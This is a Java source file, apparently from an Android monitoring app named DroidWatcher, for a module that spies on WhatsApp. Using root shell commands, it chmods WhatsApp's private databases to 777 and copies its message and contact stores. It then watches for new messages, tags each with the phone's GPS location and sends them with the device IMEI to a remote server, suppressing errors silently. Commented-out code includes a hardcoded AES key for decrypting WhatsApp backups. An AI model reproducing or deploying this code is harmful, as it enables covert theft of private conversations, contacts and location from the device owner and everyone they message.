package com.droidwatcher.modules;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Date;
import java.util.HashMap;
import org.acra.ACRA;
import com.droidwatcher.Debug;
import com.droidwatcher.ServerMessanger;
import com.droidwatcher.SettingsManager;
import com.droidwatcher.lib.FileUtil;
import com.droidwatcher.lib.IMessageBody;
import com.droidwatcher.lib.MessageType;
import com.droidwatcher.lib.IMMessage;
import com.droidwatcher.modules.location.LocationModule;
import com.droidwatcher.services.AppService;
import com.droidwatcher.variables.ServerMessage;
import com.stericson.RootTools.RootTools;
import com.stericson.RootTools.execution.CommandCapture;
import android.annotation.SuppressLint;
import android.content.Context;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.NameNotFoundException;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.location.Location;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.os.FileObserver;
import android.preference.PreferenceManager;
@SuppressLint("SdCardPath")
public class WhatsAppModule implements OnSharedPreferenceChangeListener {
// private static final String CHIPER_TRANSFORMATION = "AES/ECB/PKCS5Padding";
// private static final String ALGORITHM = "AES";
// private static final byte[] KEY = new byte[]{ 52, 106, 35, 101, 42, 70, 57, 43, 77, 115, 37, 124, 103, 49, 126, 53, 46, 51, 114, 72, 33, 119, 101, 44 };
// private static final String W_CLEAR_DB = "/data/data/com.whatsapp/databases/msgstore.db";
// private static String m_whatsappClearDBName = "/data/data/com.whatsapp/databases/msgstore.db";
// private static String m_whatsappCryptedDBName = "msgstore.db.crypt";
// private static String m_whatsappDBName = "whatsapp.db";
// private static String m_whatsappDataName = "/data/data/com.whatsapp/databases/";
// private byte[] decryptDB(byte[] encryptedDB) throws Exception {
// Cipher ciper = Cipher.getInstance(CHIPER_TRANSFORMATION);
// SecretKeySpec key = new SecretKeySpec(KEY, ALGORITHM);//TODO: test key
// ciper.init(Cipher.DECRYPT_MODE, key);
// byte[] result = ciper.doFinal(encryptedDB);
// return result;
//}
/** WhatsApp messages db path */
private static final String PATH_MESSAGES = "/data/data/com.whatsapp/databases/msgstore.db";
/** WhatsApp contacts db path */
private static final String PATH_WA = "/data/data/com.whatsapp/databases/wa.db";
private static final String[] MESSAGES_COLUMNS = new String[] {"key_remote_jid", "key_from_me", "data", "timestamp"};
private static final String[] WA_COLUMNS = new String[] { "display_name", "number" };
private static final String SETTINGS_LASTDATE = "lastdate_w";
private String LOCAL_PATH_MESSAGES = "";
private String LOCAL_PATH_WA = "";
private Context mContext;
private SettingsManager mSettings;
private long mLastMsgTimestamp;
private FileObserver mObserver;
private HashMap<String, String> mUsernames;
private boolean mIsStarted;
public WhatsAppModule(Context context){
this.mContext = context;
this.mSettings = new SettingsManager(context);
this.mUsernames = new HashMap<String, String>();
this.mIsStarted = false;
LOCAL_PATH_MESSAGES = FileUtil.getFullPath(context, "msgstore_w.db");
LOCAL_PATH_WA = FileUtil.getFullPath(context, "wa_w.db");
PreferenceManager.getDefaultSharedPreferences(context).registerOnSharedPreferenceChangeListener(this);
}
@Override
public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
if (key.equals("WA_ENABLED")){
if (mSettings.isWhatsAppEnabled()) {
if (!mIsStarted) {
start();
}
}
else{
if (mIsStarted) {
stop();
}
}
}
}
public synchronized void start(){
if (!mSettings.isWhatsAppEnabled()) {
return;
}
if (!isWhatsAppAvailable()) {
return;
}
if (!AppService.isRootAvailable()) {
return;
}
MyCommandCapture command = new MyCommandCapture(
"chmod 777 /data/data/com.whatsapp/databases/*",
"chmod 777 /data/data/com.whatsapp/databases",
"chmod 777 " + FileUtil.getFullPath(mContext, "*"));
command.setCallback(new ICommandCallback() {
@Override
public void run() {
FileUtil.copyFile(PATH_MESSAGES, LOCAL_PATH_MESSAGES);
FileUtil.copyFile(PATH_WA, LOCAL_PATH_WA);
SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(mContext);
mLastMsgTimestamp = settings.getLong(SETTINGS_LASTDATE, getLastMsgTimestamp());
mObserver = new WhatsAppFileObserver();
Debug.i("[WhatsAppModule] Start watching");
mObserver.startWatching();
mIsStarted = true;
}
});
try {
RootTools.getShell(true).add(command);
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
private synchronized void stop() {
mIsStarted = false;
try {
saveLastMsgTimestamp(mLastMsgTimestamp);
if (mObserver != null) {
mObserver.stopWatching();
}
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
} finally {
mObserver = null;
}
}
public void dispose(){
stop();
}
protected synchronized void getNewChat(){
MyCommandCapture command = new MyCommandCapture(
"chmod 777 /data/data/com.vkontakte.android/databases/*",
"chmod 777 /data/data/com.vkontakte.android/databases");
command.setCallback(new ICommandCallback() {
@Override
public void run() {
_getNewChat();
}
});
try {
RootTools.getShell(true).add(command);
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
private synchronized void _getNewChat(){
if (!FileUtil.copyFile(PATH_MESSAGES, LOCAL_PATH_MESSAGES)) {
return;
}
SQLiteDatabase db = null;
try {
db = SQLiteDatabase.openDatabase(LOCAL_PATH_MESSAGES, null, SQLiteDatabase.NO_LOCALIZED_COLLATORS | SQLiteDatabase.OPEN_READONLY);
ArrayList<IMessageBody> list = getMessages(db);
if (list == null) {
return;
}
final long lastMsgTimestamp = mLastMsgTimestamp;
mLastMsgTimestamp = getLastMsgTimestamp(db);
db.close();
db = null;
if (list != null && list.size() > 0 && networkAvailable()) {
new ServerMessanger(
mContext,
new ServerMessage(MessageType.WA, mSettings.imei(), mSettings.login(), list),
new ServerMessanger.ICallBack() {
@Override
public boolean onFinished(String response) { return false; }
@Override
public void onError() {
mLastMsgTimestamp = lastMsgTimestamp;
}
@Override
public void onSuccess() {
saveLastMsgTimestamp(mLastMsgTimestamp);
}
}
).start();
}
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
} finally {
if (db != null && db.isOpen()) {
db.close();
}
}
}
private ArrayList<IMessageBody> getMessages(SQLiteDatabase db){
Cursor c = null;
try {
ArrayList<IMessageBody> messages = new ArrayList<IMessageBody>();
IMMessage message;
long timeout = new Date().getTime() - LocationModule.LOCATION_TIMEOUT;
c = db.query("messages", MESSAGES_COLUMNS, "timestamp > " + mLastMsgTimestamp, null, null, null, null);
while (c.moveToNext()) {
String jid = c.getString(0);
int type = c.getInt(1) + 1; /* c.getInt(1) == 1 - is out;*/
String text = c.getString(2);
long date = c.getLong(3); /* time */
message = new IMMessage(date, text, getUserName(jid), type);
if (date >= timeout) {
Location location = LocationModule.getLocation(mContext);
if (location != null) {
message.addLocation(location.getLatitude(), location.getLongitude());
}
}
messages.add(message);
}
return messages;
} catch(Exception e){
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
return null;
} finally {
if (c != null) {
c.close();
}
}
}
private synchronized String getUserName(String jid){
if (mUsernames.containsKey(jid)) {
return mUsernames.get(jid);
}
SQLiteDatabase db = null;
Cursor c = null;
try {
db = SQLiteDatabase.openDatabase(LOCAL_PATH_WA, null, SQLiteDatabase.NO_LOCALIZED_COLLATORS | SQLiteDatabase.OPEN_READONLY);
c = db.query("wa_contacts", WA_COLUMNS, "jid = ?", new String[] { jid }, null, null, null);
if (c.getCount() != 1) {
return "Unknown";
}
if (c.moveToFirst()) {
String username = c.getString(0) + " (" + c.getString(1) + ")";
mUsernames.put(jid, username);
return username;
}
return "Unknown";
} catch(Exception e){
e.printStackTrace();
return "Unknown";
} finally {
if (db != null && db.isOpen()) {
db.close();
}
if (c != null) {
c.close();
}
}
}
private long getLastMsgTimestamp(){
SQLiteDatabase db = null;
Cursor c = null;
try {
db = SQLiteDatabase.openDatabase(LOCAL_PATH_MESSAGES, null, SQLiteDatabase.NO_LOCALIZED_COLLATORS | SQLiteDatabase.OPEN_READONLY);
c = db.rawQuery("SELECT MAX(timestamp) FROM messages", null);
c.moveToFirst();
return c.getLong(0);
} catch(Exception e){
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
return new Date().getTime();
} finally {
if (db != null && db.isOpen()) {
db.close();
}
if (c != null) {
c.close();
}
}
}
private long getLastMsgTimestamp(SQLiteDatabase db){
Cursor c = null;
try {
c = db.rawQuery("SELECT MAX(timestamp) FROM messages", null);
c.moveToFirst();
return c.getLong(0);
} catch(Exception e){
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
return new Date().getTime();
} finally {
if (c != null) {
c.close();
}
}
}
private Boolean isWhatsAppAvailable(){
try {
mContext.getPackageManager().getPackageInfo("com.whatsapp", PackageManager.GET_ACTIVITIES);
return true;
} catch (NameNotFoundException e) {
return false;
}
}
private synchronized void saveLastMsgTimestamp(long lastMsgTimestamp){
if (lastMsgTimestamp == 0) {
return;
}
SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(mContext);
Editor editor = settings.edit();
editor.putLong(SETTINGS_LASTDATE, lastMsgTimestamp);
editor.commit();
}
private Boolean networkAvailable(){
ConnectivityManager manager = (ConnectivityManager)mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo info = manager.getActiveNetworkInfo();
if (info == null){
return false;
}
if (mSettings.onlyWiFi() && info.getType() != ConnectivityManager.TYPE_WIFI){
return false;
}
return info.isConnectedOrConnecting();
}
private class MyCommandCapture extends CommandCapture{
private ICommandCallback callback;
public MyCommandCapture(String... command){
super(0, command);
}
public void setCallback(ICommandCallback callback){
this.callback = callback;
}
@Override
public void commandCompleted(int id, int exitcode) {
if (callback != null) {
callback.run();
}
}
}
private interface ICommandCallback{
public void run();
}
private class WhatsAppFileObserver extends FileObserver {
private static final long UPDATE_TIOMEOUT = 2 * 1000L;
private long lastUpdate;
public WhatsAppFileObserver() {
super(PATH_MESSAGES, FileObserver.MODIFY);
}
@Override
public synchronized void onEvent(int event, String path) {
Debug.i("onEvent: " + event + "; Path: " + path);
long now = Calendar.getInstance().getTimeInMillis();
if (now - lastUpdate < UPDATE_TIOMEOUT) {
return;
}
lastUpdate = now;
new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(UPDATE_TIOMEOUT);
} catch (InterruptedException e) {
e.printStackTrace();
}
getNewChat();
}
}).start();
}
}
}